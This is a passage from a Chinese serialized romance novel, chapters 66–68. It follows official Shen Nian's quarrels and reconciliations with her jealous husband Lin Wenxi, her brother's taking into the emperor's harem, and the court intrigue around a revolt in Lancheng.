沈年低下头在沈季肩上亲近依靠,“阿兄说哪里的话,谁见了阿兄不心生欢喜,我愿一辈子护着阿兄,只有那个女人瞎了眼。” 沈季明眸皓齿笑起来似如春风,匆匆敛好衣容的林闻溪一出院门正瞧见二人亲昵,刹那冷了脸色。 他咳了一声走到两人面前,“三娘和兄长在说什么,让三娘这样眉开眼笑的。” “只是和阿兄闲叙几句。” 沈年根本未曾往那处去想,直起身语气一如平常。 “妹夫也在。”沈季向他点头问候一句,“那两个孩子也跟来了?” 林闻溪盯着沈年在搭沈季胳膊上的那只手挪不开眼睛,一字一顿的回道:“刚在后院睡下。” 沈季察觉到林闻溪面色不悦,全然以为是他昨夜和沈年生了口角,拍了下沈年的手背劝和道:“妹夫也是一片好心,妹妹还是不必罚他了。” “罚他?”沈年疑惑问了一句。 沈季不想揭林闻溪的短,避开沈年的话又道:“承蒙母亲和父亲不弃,我和孩子往后还是回沈府来住,你们小夫妻二人才搬出去清静几日,我们父子还是不过去添麻烦。” 沈年点头,“随阿兄的意思就是。” 临近正午,沈父唤两人留下用午膳。 沈年本也有话要同沈修撰讲,也就没有推脱。 沈年瞧着林闻溪捧着碗愣神,一粒米不进生了闷气,但当着一众人的面不好发作,暗戳戳在用手肘撞他。 林闻溪偏头瞧她一眼,更是专门和她置气索性把碗筷放下,挂起笑脸同身旁的沈岳你一言我一语聊的欢。 沈年憋了一肚子火,也没了什么胃口,摆下碗盯着他的侧边脸凝视,想着待回去怎么让他服软的好。 林闻溪的余光将沈年的表情瞥的清楚,他笑的更开怀了些和沈岳闲谈,这笑容并非是他刻意装出来的,他此刻心底确实是在窃喜。 沈年此刻在一心注意着他,为他而怄气,一想到他一举一动都牵动着沈年的心,心里只觉得怪异的满足。 沈修撰起身看向沈年道:“用完了便随我来书阁,我有话要问你。” “正好女儿也有事同母亲谈。” 沈年起身说着,装作不经意杵了一下林闻溪的背。 林闻溪忍不住勾着嘴角笑了笑,等二人走后不久,也起身站起来:“兄长和岳弟慢聊,容我先去更衣。” 他从堂中出来,一路支开院中的侍从,悄没声移步到书阁背光处偷听里面母女二人谈话。 沈年一心想瞒着他,他可不愿被蒙在鼓里。 “女儿今日在陛下面前回话,说打理好兄长的事才可后顾无忧,是而陛下才来沈府管兄长的闲事。” 沈修撰默了许久没回声,听沈年唤了她一声才有动静。 “陛下打算何时让你离京?” “等备好禁军的武库,大约一月之后。” 沈修撰又是一段时间的沉默。 “母亲无需太过忧心,女儿定做好万全准备。万事不破不立,说不准离京之后此事会峰回路转,别有生路,便同今日一样,谁曾想到陛下会临府为兄长解困。” “女儿既说的出这番话,母亲便信你。” 林闻溪听见沈年在里面一笑,声音更坚实了几分,“还有岳弟的婚事,在女儿离京前择个日子定下为好。” “等罗家的聘礼送来,择个吉日就是,这倒不是什么难事。你筹谋好你的安危便可,府中的事无需你分神。” 听见二人脚步走动的声音,林闻溪捂着脸掩着气息躲藏,见两人迈步出了院门,他才失魂落魄的出来坐在池边石头上双目失神。 沈年四处寻人不见,弄的心烦气躁,本以为林闻溪又耍什么鬼主意故意藏起来让她找,见他一个人孤零零在池边坐着又忍不住心软,上前拉了下他的胳膊。 “怎坐在这里不吭声,我一直唤你没有听到么?” 林闻溪扯回自己的胳膊,朝沈年冷声冷气道:“没听到。” “先回去。”沈年盯着他咬着一边唇角克制道。 林闻溪僵着脸跟在沈年身后和沈家人告别,差点在人前挂不住脸色,进了马车里,背着身面壁而坐。 沈年弯腰掀开车帘,先进来瞥了他一眼,又一回强压下火气挨着他坐下,平心静气道:“能不能收了脾气好好说几句话。” 林闻溪酸言酸语回呛道:“三娘如今欢喜温柔美男,我自是入不得三娘的眼。” 沈年听他这一句怪腔怪调的话,才反应过来那会林闻溪为何在沈季面前冷脸。 任她有再好的脾气,也懒得解释些什么了。 “三娘怎不回话。”林闻溪转过脸来轻笑,“被我说中了不成。” “你胡闹也该有个限度。” 沈年的语气冷的厉害,一句话镇的林闻溪收敛起来。 沈年隔开他独坐在一边,一路迎着窗外的秋风吹面。 到了院门前,林闻溪从马车里跳下来都没站稳便往急步往庭中而去,赶在沈年之前进了西屋将门锁上。 沈年敲了两下门,吹了风冷静许多,想着两人都在气头上,进了门恐怕也是大闹一场。 想了想转头出门又去官属中上值。 官属中长了眼睛的都瞧见沈大人今日心情欠佳,各个见了她绕道走。 沈年将自己关在阁中量了自己的身形,在图纸上一画,武库中那些甲胄又厚又重,她穿上多走几段*路都费劲,实在保不了她的小命。 她曾在一本书上看过用三维打印可做出一种金属软卫甲,穿在身上轻便很多也不怕刀劈斧砍。只是她只粗略扫过大致工序,若真要去制作还需一步步去试。 一直到宫门快要落锁,她才算有些眉目。 她不放心林闻溪,想着也许他消了些气,乘夜又赶了回来。 一进门白石便迎上了急的跺脚,“三娘子快去看一看,郎君锁着门怎么唤都不出声,入了夜也不见点灯,不知在里面会不会出什么事?” “这个人……真是越来越不成样子了。” 沈年气的昏头,着实是有些忍无可忍,在门上重重敲了几声,“你别再胡闹,把门打开。” 里面依旧是毫无动静,沈年趴在门上听一点声音也没有。 “三娘子,郎君他性子倔,不会做什么糊涂事吧。” 沈年听白石这么一说也一瞬慌了神,张嘴干咽了下,紧张道:“去寻把斧子来。” 白石正点头拔腿要走,听见里面传出林闻溪的声音:“我没事。” 沈年气的踢了一下门,“你在里面装什么哑巴,要闹到什么地步才算。” 林闻溪又没了声音。 沈年肃起脸,声音干脆利落:“你再不开门,往后你我就不必再见。” 这回屋里很快有了脚步声,门锁打开咚的一声掉在地上。 “你先回去。” 沈年转头向白石吩咐了一声,而后推门进去将门重重合上。 林闻溪点起一盏小灯,昏黄的烛火照在他晦暗的脸上。 他不再沉默,看着她出声:“三娘想走便走,想回就回,我一人在屋中安静片刻就不可?” “你一声不出,不就诚心让人担惊受怕吗?”沈年拽着他的衣袖拉到自己身前,“让我难受,你就畅快了是不是?” “三娘这样看着我,是讨厌我了。”林闻溪颤着脸,害怕躲开她的眼睛,“也对,三娘刚才张口就说再不见我,其实本来也没有多喜欢我吧。” “我不那般说你怎会肯开门。” /:. 沈年将他的拉到自己的心口,皱着眉:“现在连我喜不喜欢你都要起疑?” 林闻溪额头抵到她胸口落泪道:“那三娘想着兄长,想着阿弟,想着你们沈家人圆满,唯独没想过我这个外人。” “你偷听了我和母亲说话?” “是又怎样。”林闻溪抬脸眼泪溅到沈年脸上,“我要不听,哪里知道我根本不在三娘打算之中。” “三娘的兄长和离之后还有沈家可回,阿弟新婚燕尔……三娘想过我往后怎么过吗!” “兄长和阿弟过的好了,即便我万一回不来,也可以照顾你。”沈年满腔的委屈,“你听个一言半语就说我不替你打算,也太冤枉人了。” “可我不想再寄人篱下……三娘若心里真在意我,不会漠视我的一再请求,不会将我的话当做胡闹。你明知道我一个人过不下去……明明知道也从不当一回事……三娘对我只有浅浅一点喜欢,并没有爱。” 沈年闻言恍然一怔,吞吞吐吐道:“抱……抱歉,是我一直都在忽略你的声音。” 66 第66章 ◎纠缠求和◎ “只是如今也并由不得我。” 沈年松开拽着他的手,从袖中掏出图纸给林闻溪看,“你瞧,这是我做的软甲,穿上这我便不会被刀剑所伤,如今我只能同你保证我会尽我所能平安回来。” 林闻溪转了转眼珠打量了那张纸一眼,叹息了一声。 沈年收起纸,努力笑着拉了拉他的手,“你同我回主屋睡可好,你一个人在这也睡不好。” 林闻溪露出心疼的神色抬眸望了她一眼,无言点了下头。 躺在榻上,两人之间的沉默让彼此都觉得有些不安,但又都无法做出退让。 只好各自忍着痛,听着对方近在咫尺的呼吸闭着眼煎熬。 清早醒来,一个坐在里面,一个坐在外头,寡淡嚼着口中的白粥,偷瞟着对方的后背想开口说什么是好。 林闻溪还是忍着没说,沈年站在帘外傻乎乎盯着他看了半刻,而后进来扶着林闻溪的肩,低头弯腰在他脸边轻啄了一下。 “我夜里回来。” 林闻溪素净着脸,还没将鬓发束好,一身纯白的里衣更显得人清淡了几分,他俨然没有从前的热情,只动了动唇角点头。 沈年估算的时日差不多,下了朝徐珞宁悄悄唤她去工坊。 行至工坊里头,靠墙摆放着近百个木箱,上面的还没封盖,一眼可见锃亮锋利的箭头,沈年难得舒了口气。 徐珞宁发愁道:“整整一万支箭要运到禁军武库,很难不惹人注意。” “这于我倒是轻而易举,徐大人造箭辛劳,不必为此担忧。” 徐珞宁从不刨根问底,转头揽着她的肩挑眉道:“这两日怎么一直板着脸,跟你那小情郎恼气了?” 沈年转过眼珠看她,无奈唉了一声。 “还是一个人逍遥自在,像我万花丛中过片叶不沾身,何来这些烦扰。”徐珞宁低头凑在她耳边,“乐馆前几日新来了几位琴师,哪琴音叫一个绝,你成日勤恳上值,今日不如随我去散心。” 沈年憨憨露齿一顿,摆了摆手。 “只是听琴,不是别的。” “家里那位的性子你不知道,他闹起脾气来难收拾。” “你从前可是常客,他也不见善妒,怎如今你做上此等高位,倒将人养的如此小气。” “天长日久人也会变,他一心扑在我身上也是难免有了私心。”沈年维护他几句,转头问,“你先前说你庶妹和郎君吵闹和离,现下如何?” “我听府中的传言,是妹夫执意要离,但我那妹妹不愿。不过他可没堂兄那样的好福气,离是离不得的,糊涂过下去也罢。” 沈年闻言有些私心的点头,先前她对隐瞒与阿久的过往心有亏欠,几番想这位堂妹说些什么,“她与阿久一清二白,绝无私情”这种无关痛痒的话,说出来也只是徒增尴尬,思来想去还是作罢。 如今眼见这位堂妹对阿久生情,她就更不该去了。 她自然是希冀阿久不和离,难得他大发善心暗自为她解了毒,沈年可不想阿久再腾出手来对付她。 “我手头另有张图纸要制脱不开身,这刀箭还需接着囤积,托你替我费心。”沈年腆着脸揽上徐珞宁的胳膊,“来日我定上书陛下,记你和几位大人的功劳。” 徐珞宁耸肩一笑,“为着你,我都许久不得去听曲了。” 趁着午间无人的间隙,沈年将箭箱搬进空间内,转移到禁军武库之中,老提督大人和她一同在校场对着靶子试箭。 百米之内,一箭穿破重甲。 “殿前司果真是名不虚传!高!实在是高!” 提督指着一支支飞出去的利箭,拍着沈年的肩赞不绝口。台下的禁军争抢着试射新箭,喊着沈年的名振臂欢呼。 远处高墙上陛下的身影驻足,她静静盯着台上意气风发的沈年,衣袂飘摇,鲜衣红颜……实在太过耀眼了些。 沈年在台上心中激荡,这新旧两箭威力天差地别,禁军的胜算似乎比她想象中更大。说不准不用等她搬回救兵,京中便可平定。 夜里回到院中时,林闻溪背着身已在里侧睡下,只给她留着盏小灯。 沈年在帘外往里瞧了一眼,见他的两只鞋凌乱的散在地上,忍不住轻声笑了一下。 这个人装也装不像。 两个小侍随后进屋来给她宽衣,沈年装作打了个呵欠,声音不轻不重道:“我今日乏的很,你们二人随我进来服侍沐浴。” 两个小侍受宠若惊抬起脸小声啊了一声,而后又转头看了看在塌上躺着的林闻溪。 “正君睡下了,你们瞧他做什么,快随我进来。”沈年往里迈着脚步,将地板踩的发出沉沉的响声,“今日听徐大人说京中的乐馆歌舞醉人,倒说的我生奇,不知你们两个可会唱曲?” “会一两句……” “那正好听来解解乏。” 两个小侍还没应声,听见里侧林闻溪起身的动静,沈年得逞笑了笑轻声唤两人退下。 “三娘想听什么曲?”林闻溪冰霜一般的脸色,光着脚停在离她面前几步的位置。 “想听你的声音。”沈年主动迈向他。 林闻溪显然被她这话撩拨了一下,鼻子皱了皱。 “三娘不是说乏了,有心思说这些,不如早些沐浴睡下。” “我怕我在里头睡着,你进来陪我好么?”沈年碰了下他的手。 沈年以前都不习惯让人服侍沐浴的,说这话是在向他示好,林闻溪还是点头答应。 一走进里面水气氤氲,沈年脚步有些虚浮,林闻溪跟在后面看她踩稳了,才迈下一步。 “你来吧。”沈年低头看了下身上的衣带。 林闻溪的脸上迅速攀上了肉眼可见的红,手缓缓抬起来,从外衫探进去在她的腰间摸索。 “在这里。”沈年无可奈何的抓着他的手按在上面。 “知道了。”他低下头去扯那两根细带,发丝被额上的细汗打湿,不经意蹭在沈年的侧脸上。 他费了半天劲,只脱了外面的一层衣服。 沈年一直盯着他的脸,沾着水气的眉眼,流转柔情,离得他极近,她这张脸上鲜少有这样的表情,完全实在钓他。 “我身子不适,不能服侍三娘沐浴了。” 没等沈年拉住他的衣袖,他便逃一样的甩下她,头也不回推门而去。 沈年沐浴完回屋,林闻溪自己新抱来一床被子窝在里面睡,她上塌探手进去拉开他压着的被角,一点一点挤进他被子里。 “我给三娘铺好了被子,三娘去那边睡。” 林闻溪一直往里侧靠躲沈年的靠近,直到被她逼到角落,抬起脸来说话。 “可我想抱着你睡。” 沈年说着低下头要贴他的脸,林闻溪侧过脸躲开。 “三娘别碰我,好热。” 沈年死乞白赖贴着他的后背,揽上腰腹抱着。 “今日用晚膳了没?”沈年装听不见自顾自问他。 “吃过了……” “那好好练功了没?” 沈年从衣襟探手指进去摸到他的腹肌,林闻溪抖了一下,又躲无可躲。 “练的是腿功,别再碰我的腰……痒。” “是吗?”沈年闻言故意一问,手指往他腿上移去。 林闻溪紧张一把抓住沈年的手,慌乱转过头来道:“那里更不能摸。” 他胸腔起伏着,“三娘到底想做什么?” “想做。”沈年故意用力钳制着他的手,压在枕边,低头想覆上他的唇。 “我不要……三娘不是说不强迫我。” “可你这几日对我这么冷淡,我真的有点忍不住,除非……” “除非什么?” “你主动亲几下我。” “好……亲就亲,三娘不许再趁机压着我。” 沈年见他落入圈套,忍不住笑意点头,松开了他的手。 “那三娘把眼睛闭上。” 沈年信守承诺低头将脸凑了上去,感受到唇瓣的柔软,伸手捧着他的脸。 “好……好了吧。” 林闻溪多亲了几下,圆圆的小狗眼,看她时有些心虚。 沈年点头躺倒在他身旁,抱着他,“嗯,睡吧。” 林闻溪心中鼓雷,沈年惯会磋磨他,他强忍着身上的反应,倒是有点欲壑难填。 他一早起来,囫囵喝完了粥躲到院中,连沈年清早亲他的机会也不给。 只是沈年夜里回来,总有千方百计来缠他。 今日第五夜他又被沈年打着裁制秋日衣裳的幌子,从锁骨到脚踝摸了个便。 “三娘一肚子坏水,每回都这般。”林闻溪扯开沈年覆在他胸前的手,气着脸道。 “林郎不是说我不是真心爱你,我这个做娘子的痛定思痛,好心想着给你做衣裳,你倒怨我。” “我已同三娘说了几回我衣裳的尺寸,还非要在我身上量。” 沈年理直气壮:“你如今练了功,身形和从前有出入,眼下锦缎价贵,不量仔细裁错了怎么能行。” “量归量,解我衣裳做什么?” “林郎相貌英俊,肌容似雪,为妻的一时被你勾引,也怪不得我。” “我那句话勾引三娘了,明明是三娘心思不纯。” 沈年反咬一口,扑在林闻溪身上,“你我是夫妻,我对林郎心生眷恋有错么?难不成往后一直要我清心寡欲,也不怕我去寻别人。” “你敢?” “我不敢。”沈年可怜巴巴的眨着眼眸看他,“林郎也心疼心疼我,我日日在外不得歇息,回来你也对我冷脸色,一个手指头都不让碰,我的心都要闷死了。” 林闻溪被她唬的鬼迷心窍,一时心软伸手抱上她的肩。回过神来时已经和沈年吻的气息交缠,沉溺在她身下,一点点跌落云间情海。 林闻溪害怕却又克制不住的沉沦下去,他害怕自己的坚定一步步被这样的情事蚕食掉,他想沈年向他妥协,而不是他这样和沈年和好,然后放她走。 第六日他搬到了西屋住,任沈年再软硬兼施,使什么招数,他都锁着门不再理会。 67 第67章 ◎两纸婚约◎ 他悄悄到窗缝中看沈年,看她被夜里凉风吹的素白的脸,形单影只在屋门口站着,迟迟等不到他的回应,又失落的离开。 他跟着心揪,只是般日子并未过两日,沈年便不再得空回院了。 兰城的民乱来的风急雨骤,快马加鞭呈回的奏报一封又一封,千名百姓聚集斩杀了兰城几名县丞和校尉,将当地的富绅大族府邸洗劫一空,盘踞在刘宅大院中招兵买马,秋风扫落叶般打的府兵连连败退。 不过一时虽闹的凶,但说起来叛乱之事先帝在位时也屡见不鲜,何况只是千余平民草莽攒聚,擢选一将官领兵前去镇压平定便可。 然而朝堂上群臣已沸反盈天吵了两日,短短两日,霁王一派的人接连浮出水面,不遗余力的将罪名往沈年身上引。 句句都往陛下的心底戳,说在兰城百姓人人都将她奉做天官,她曾在兰城住过的小院被百姓修成了生祠,桌案前日日都有鲜果花枝供奉,百姓只认殿前司不识当今天子。 “殿前司有此般声望,又有一身才干,难免不起二心。” 沈年瞥着阶上陛下的脸色,满脑子想的是昨日沈季着人递进来的一封家书,沈季在信中说陛下昨日私下命人赠了一串红玉手钏给他,不知有何深意。 她看到信的时候宫门已经落锁,一早又来殿中上朝。 霁王这些挑拨离间之语她早已预料到,几人骂的疾声厉色她倒是没什么波澜。 一心想着沈季的信。 沈季和离之事短短数日已经尘埃落定,说来也奇怪就算是有陛下横插一脚,伯府也不至于如此利落就按印盖章,还同意沈家将孩子养至及笄之岁再送回伯府。 沈年想着这其中难不成有陛下施压。 女子送一个单身男子这种贴身戴着的物件,能有什么心思。 沈季也不是懵懂无知的小孩子,他如何想不到陛下是何意,想来应当收到那东西十分震惊害怕,才慌张写信来告知她。 他信上有几个字的笔画抖的不成样子。 沈年也想不通,陛下虽说后宫君侍不多,但贵为天子想要什么样的男人没有,怎会对一个刚绝婚的寡夫起意。 何况沈季还有两个孩子在膝下。 想来想去只怪沈季生的太好,又是她的阿兄。 陛下在殿上做戏一般难得斥责了沈年几句,沈年顺势跪下将平定兰城之乱的差事揽到自己身上。 “臣愿随将官领兵离京,为陛下荡平叛乱,以明臣志。” 朝臣都想着沈家头上顶着这一桩灭九族的疑罪,定时要盛极而衰了。 不成想待下朝,殿前司还没进沈家的门多久,陛下的赏赐便又送到了沈府,还连带着沈家父兄一同有赏。 给沈父封了诰命,另赏给沈季是一只玉笛,和宫中陛下喜爱的古筝出自同一位名家之手。 沈家人盯着那只玉笛碰都不敢碰。 没有礼官前来,受了赏,自是要去宫中向陛下谢恩。 “阿兄莫怕。” 坐在马车里,沈季低着头郁郁寡欢,沈年抚了下沈季的肩安慰。 沈季抬头和她微笑,“阿兄无事。” 沈季在沈府中住了几日从沈修撰的只言片语里看的明白,这个节骨眼上陛下看中他,于沈年来说是桩好事,陛下对沈年不放心,这是退而求其次想和沈家结成姻亲。 若能保沈年平安回来,他甘愿舍身,但唯独舍不得两个孩子。 只是他身为沈家的长子,不得已也得割舍。 沈季颤抖着唇道:“若进了宫,陛下有何旨意,妹妹不必为我违逆了圣意。” “阿兄才得以从伯府脱身,若陛下要纳你做君侍可怎么办?” “我待在沈府也不是长久之计,能入宫是我的福气。” “阿兄明明很害怕,隔着宫墙重重,踏进去日后难得再相见。”沈年自责的苦起脸,“何况阿兄还有两个幼子,入了宫你该如何自处。” “妹妹被逼着离京前路未卜,阿兄怎能只顾着自己。”沈季故作坚强的抹了下泪珠,“再说皇命难违,今日陛下已斥责了你,若是之后沈家再抗旨不尊,岂不是更让陛下疑心你。” “我”沈年急着抓着他的手。 “妹妹已是负重累累,实在不必再为我逞强。” 进了宫沈修撰和沈父在前面叩拜谢恩,沈年伏在地上偷瞟着帘内的陛下,自几人一进来她的眼睛就停留在沈季身上未动。 沈修撰和沈父退到一旁,沈季往前面挪了挪出声,陛下从纱帘中出声,“平身吧。” 随后一名内侍出来,“陛下赐茶,请三位到移步到外间一用。” 沈修撰和沈父皆是一惊,独留沈季在此,陛下实在失了礼数。 担心的看了沈季一眼,勉为其难的退了出去。 “朕赏你的东西,你可还喜欢?” 沈季低垂着头,“陛下赏赐实乃荣幸,臣子不胜感恩。” 陛下在他身侧饶有兴致的转了一圈,小声笑了一下。 “你与沈卿是一父所生,长得相似,皆是一副好容颜。” “臣子谢陛下称赞。” 陛下停在他正对面,“将头抬起来。” 沈季紧张咽了咽喉咙,捏紧手指缓缓将脸仰起来,因为太过不安眼皮不停地眨动。 他不敢看陛下的那张脸,视线偏到旁处。 陛下又出声笑:“怎么,你怕朕?” 沈季逼自己转过视线,“陛下是天子,人人敬畏。” “沈家之人都是如此谨慎,看来朕没赏错人。” “沈家之人皆忠君之臣,还忘陛下勿要听信旁人的无端猜测。” 陛下脸上一瞬没了表情,硬生生换了一副眼神看他。 “臣子妄言。”沈季忙跪在陛下脚边。 “是沈卿教你说的。” “妹妹从来不曾与我说这些,只是身为兄长关心则乱。” “朕欲纳你为侍。”陛下忽的直言问他,“不知你可愿否?” “臣子不敢违皇命。”沈季的后背在止不住发抖,仍极力让自己的声音听起来平静,“再者婚姻之事,全凭母亲和父亲做主。” “朕问的是你你愿入宫做朕的君侍么?” 沈季抬起头仰望着陛下的脸,“臣不洁之躯,能得陛下垂爱半分,是臣万世修来的福分。” 陛下弯腰用手指抹了抹他都没发觉的眼泪,无甚表情道:“你入宫不宜惹人注意,过几日朕会命宫中的轿撵去接你。” “是。”沈季俯首叩地,“臣子谢陛下盛恩。” 内侍送沈季走到殿外,沈年焦急盯着他的脸用眼神问他话。 “恭贺沈君,恭贺两位沈大人大喜。” 内侍的声音如同一声闷雷,震得外面三人脸色僵住。 回了府,倒是沈季强颜欢笑宽慰着沉默的几人。 沈年心里堵的慌,看不得沈季的脸。 从沈府出来,难得没回官属上值,寻了个酒楼里一个人蒙头灌酒。 “三娘子这是遇上了何事,如此苦闷?” 一男子推门进来似笑非笑道,沈年醉乎乎盯着那人摘下纱帽,是阿久。 “这酒楼也是刘家的?”沈年趴在桌案上,“你们刘家夜里是不是都枕着银锭睡觉。” “三娘子见了我难得不想着躲。”阿久微笑着坐下。 她捧着酒壶往嘴里倒,“我偏不躲,我做错什么了,凭什么一个个都要我委屈求全。” “三娘子喝多了。”阿久夺过她手里的酒壶,转身倒了一盏茶给她。 沈年神志不清的抬手都洒在她衣摆上。 “瞧你。” 阿久扯出绢子帮她擦拭,沈年倒在桌案上晕乎乎合着眼睡,连话都说不清楚。 “难得见你一面,醉成这个鬼样。”阿久隔着绢子戳了戳沈年的脸。 朝中寻不到沈年,来院中问林闻溪。 听说不见了人,林闻溪急的恨不得自己出去寻。 院里的人将酩酊大醉的沈年抬回来,林闻溪一眼瞧见她身上那件衣裳从未见过。 林闻溪将沈年揽到身边,犹豫开口问:“可有什么人陪侍三娘?” “没有。”侍卫摇了下头,“去的时候只有沈大人独自在榻上睡着。” 林闻溪将人扶到榻上躺好,将那身衣裳脱下来看了又看,这件外袍他真真切切没见过,但她里面贴身的里衣是见过的。 他坐在塌边,一手端着碗一手喂沈年用解酒汤。 那外袍上分明有男子的香袋味。 难不成他这几日冷落沈年,沈年一时苦闷出去找了旁人? 林闻溪守着沈年心里一夜兵荒马乱,第二日眼底一片乌青。 “三娘昨日怎一人醉酒。”林闻溪替沈年揉着眉心,小心试探着问,“心里烦闷怎不回院里来。” “我昨日在朝堂上答应了陛下……回来你也不愿见我。” “三娘这身衣裳是何时做的,我怎没见过?” 沈年先是眯着眼疑惑看了一眼,转念似乎是想到什么,含糊不清的说:“许以前做的,我也记不清。” 林闻溪的表情明显愣了一下。 这衣裳或许是阿久帮她换的,沈年也记不清,她眼下实在不想争吵,索性不说的好。 昨日缺了值,外面的人一趟趟催的紧,沈年净了下脸又匆匆离院。 林闻溪默默搬回了主屋,沈年有时夜里回来他也不再那般抗拒,更多时候是欲拒还迎。 沈季面见圣上五日后入宫的,他在宫中还可传信出来,说是陛下待他恩宠有加。 沈年看着他信中的字,心中稍作宽慰,连日来关在阁间中以备离京之事。 大约是九月下旬,府衙的人忽然匆匆前来求见。 “今日一早府衙前忽然来个女子告沈家的官司。” 衙役停顿一下等沈年的反应,沈年抬了抬眉似乎没当回事示意她继续说。 “那女子状告沈大人抢了她的夫婿,呈了婚书来说曾与沈大人的郎君定下过婚约,如今攒够聘礼前来迎亲,怎知却成了沈家的正君。” “什么?”沈年越听越眉头越皱的紧,停下手中的动作,将手中笔砰的一声按到桌案上。 “沈大人息怒。”衙役抹了抹溅到她脸上的墨汁,“那女子在门口招来一大堆百姓叫屈,闹得不可开交,沈大人还是前去一看为好。” 沈年捏着眉心理了理思绪,而后抬眸问:“那我院中的郎君,府衙没着人去问话吧。” 衙役俯首道:“沈大人放心,没您的话,府衙怎敢上门惊扰郎君。” 沈年走近客气笑了笑:“你们做事倒是妥帖,我该道一声谢呢。” “沈大人言重。” “此事先容我回院中一趟也好更衣,劳烦你先回去同京兆尹大人说一声,我待片刻便过去。” “是。”衙役应声退了出去。 沈年召了身边一近卫来去打探消息,而后出了官署一路疾驰回了院中。 “正君呢?”她步履匆匆往庭院中去,焦急问庭中洒扫的小侍道。 “正君才练完功,正在屋中洗沐。” “外头的事没人跟他说吧。” “何事?”小侍疑惑问道,“院中并没有人来过。” “无事,去忙你的。” 沈年点了下头往屋中去,在妆奁里翻找沈家与林家定亲的婚书,她好像见过林闻溪收在这里。 “三娘找什么呢?” 林闻溪着件单薄的里袍从屏风里出来,似乎才从浴桶中起身,脸上的水珠还没擦净,发尾在滴着水。 “没什么,闲着无趣看你缺不缺什么饰物。” “倒是不缺。”林闻溪狐疑问道:“怎么这会子回来。” “你不是一直盼着我回来,回来也不见你有笑脸。”沈年扯下挂着的衣裳披在他身上,“不擦干脸就出来,当心着凉。” “还不是在里面听见三娘的声音。” 沈年坐下盯着他调笑道:“那是怕我看见你的身子才急着出来。” 林闻溪看了她一眼,坐下擦头发,“油嘴滑舌的,怪的很。” 沈年支着脑袋默默盯着他瞧,林闻溪在镜中瞥见沈年在注视着他,放缓了手中的动作,与镜中沈年的脸静静对视。 两人莫名看了许久,沈年一句不发,又起身站起来说要走。 “三娘回来这一趟就干坐坐?” “正巧有事路过回来歇歇脚而已。” 林闻溪失望切了一声:“我就知道,三娘怎会有闲情雅致回来瞧我。” 沈年撩起帘子要迈步出去,林闻溪唤了她一声。 “都这时候了,顺便用了午膳再去。” 沈年回身走过去半蹲下抱上他的腰:“那你给我做可好,我好久没吃过你烧的菜了。” “有的是人给三娘做……不过三娘难得午间回来,我做就是。” 68 第68章 ◎天生一对◎ 林闻溪出门正瞧见另一位小侍从外面提着菜篮采买回来,向他招了招手。 小侍看见林闻溪虽低垂下头但又忍不住向上抬着眼珠看他,沈年见状先一步走在林闻溪身前,接过小侍手中的菜篮,向他压了下眉使眼色。 有那件来历不明的衣裳在前,林闻溪心里难免不草木皆兵,瞧着沈年在他面前和小侍眉来眼去,心头更是翻江倒海。 他没茬找茬,盯着篮中看只有些青菜,刁难道:“怎只买了这几根菜回来。” “回正君的话,京中近来肉不光价贵,还难买的到,我一时去迟了肉铺便没能买来。” 小侍心虚的低声回道,他瞧着府衙门前热闹也挤进去看,一听竟发觉说的是院中的林正君,便多听了几句。 只是堂上那女人口中的话实在污秽不堪,竟说林正君和她定亲后,还未过门时便私相授受,暗中幽会。 还还当堂拿出了林正君的贴身里衣 林正君虽说面上冷冷的,但算起来对他们也并未如何刁难过,实则是个好伺候的主。 他实在听不下去转身而去,但路上的百姓认的他是沈家院里的仆侍,不怀好意的斜着眼盯着他窃窃私语,他匆匆捡了几根菜赶回来。 眼见着林正君今日面色不对,他被盯着慌得头上出汗。 林闻溪讽笑道:“秋来天凉,我看你一眼你竟就能吓得渗汗,可是背着主子在外做了什么亏心事。” “没没有,小侍怎敢。” 看着再说下去人要露馅,沈年打断二人的僵持,抬手吩咐小侍道:“你去忙旁的。” 林闻溪听了自然觉得沈年在维护他,心里更不痛快了,拐去厨中将锅碗瓢盆敲的乱七八糟响。 他煮着面,从窗缝中看到,沈年和一侍卫在檐下站着,侍卫正低头小声说着什么,沈年板着脸,面色是他也从未见过的阴沉。 过后那侍卫退下,见沈年又召了院里的几人来,紧锁着眉头吩咐了几句。 林闻溪端着面出来,沈年一抬手让几人散了,对着他摆起笑脸。 “这么快便做好了。” 林闻溪不搭理她,进屋摆好碗筷,甩袖到塌边坐着,握着剪子划着一堆烂布条。 沈年吃了一口面,被酸的五官皱成一团。 “你这是放了多少醋。”沈年被酸的声音都有些哑,捂着喉咙坐到林闻溪跟前问。 “多吗?”林闻溪走过去面不改色的吃了一口,“我尝着刚好。” “先前不还好好的,又故意折腾我做什么。”沈年气不过,抓起他剪得那堆布条朝他扔过去。 仔细一看,好像是她那日醉酒回来穿的那身衣裳,无语中又觉得有丝好笑。 林闻溪实在像只一时不注意就在家里憋坏捣乱的小狗。 她忍俊不禁:“这布料贵着呢,你对着它撒什么气。” “这种不干净的东西,剪的越碎越好。” “这是阿久给我换的,不是什么人。” “又是他真是阴魂不散。”林闻溪咬牙切齿的咒骂,“这种不知廉耻的男人,活该被京中人唾骂。” “他只是换了衣裳而已,一根手指都没碰我。” “三娘还替他说话,你那日醉成那样,怎知道他没碰。” “你别总这般爱钻牛角尖,我是醉了,又并非没有知觉。”沈年走过去摸摸他的背,“整日憋一肚子火,当心气坏了身子。” “三娘很快便走了,再不用受我的气。” “我且不走。” “不走?三娘不是在殿上答应了陛下?”林闻溪被她一句话消了大半气,抑制着语气中的惊喜,“不必拿这个唬我开心。” 沈年淡淡摇头笑了下,“真的。” “为……为何?” 沈年迟疑一下没有回答,有些怅然若失的坐下,而后又抬头温柔向他探出手,“过来,我想抱抱你。” 林闻溪难得没有不情愿,乖乖走过去伏在她膝上枕着。 沈年摸上他侧脸,指尖怜爱的在他耳垂上蹭着,林闻溪被她安抚下来,心里反生出些愧疚。 “我成日这般不安分,三娘不厌烦我吗?” “不管是跟着你爹爹在外还是在林家,都没什么人在意你,孤苦太久骤然间得到一丁点疼爱,不会真的心安满足,反倒会反反复复的拿出来一遍遍看,瞧瞧它还在不在。” “三娘……”林闻溪哽了声音,抬头带着委屈又万分感动,“我一回回胡搅蛮缠,三娘还这样为我想,我这夫君做的*真是失职。” “说起来,你跟我胡搅蛮缠的时候,我心里其实还挺爽的。”沈年不好意思的抿了下嘴道。 “嗯?”林闻溪疑惑。 “我原本在那边一直跟着父亲生活,他很少回家几乎是我一个人长大的,父亲再婚后我常常觉得自己是被抛弃的那一个,没有人想要我。”沈年不知觉自己掉了一颗泪珠,滴到手上慌忙去擦。 林闻溪手忙脚乱直起腰抱紧她,“三娘别哭,你如今有我。” 